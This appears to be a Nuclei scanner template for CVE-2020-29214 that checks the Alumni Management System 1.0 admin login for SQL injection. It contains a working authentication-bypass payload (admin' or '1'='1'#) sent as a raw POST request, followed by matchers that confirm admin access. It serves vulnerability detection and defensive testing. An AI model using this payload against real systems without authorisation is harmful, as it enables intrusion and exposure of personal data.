id: CVE-2020-29214

info:
  name: Alumni Management System 1.0 - SQL Injection
  author: arafatansari
  severity: critical
  description: |
    SourceCodester Alumni Management System 1.0 contains a sql_injection caused by unsanitized input in admin/login.php, letting attackers bypass authentication, exploit requires injection of malicious SQL payload.
  impact: |
    Unauthenticated attackers can bypass authentication through SQL injection, gaining administrative access to the Alumni Management System and access to all alumni data.
  remediation: |
    Apply vendor patches or upgrade to a patched version.
  reference:
    - https://www.exploit-db.com/exploits/48883
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29214
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29214
    cwe-id: CWE-89
    epss-score: 0.04499
    epss-percentile: 0.90267
    cpe: cpe:2.3:a:alumni_management_system_project:alumni_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: alumni_management_system_project
    product: alumni_management_system
  tags: cve,cve2020,sqli,auth-bypass,cms,edb,alumni,vuln

http:
  - raw:
      - |
        POST /admin/ajax.php?action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin'+or+'1'%3D'1'%23&password={{rand_base(5)}}
      - |
        GET /admin/index.php?page=home HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Welcome back Admin!'
          - 'Alumni List'
        condition: and

      - type: word
        part: body
        words:
          - '#login-form'
        negative: true

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009a6c31a70b25ae11e14ace27ff89067c45dd35f2c97bff312b90192dc3eaf48d022100a1727137a922edcd48e0645aa423809a4f98de762f0ceed1ecd52ff917c45c2e:922c64590222798bb761d5b6d8e72950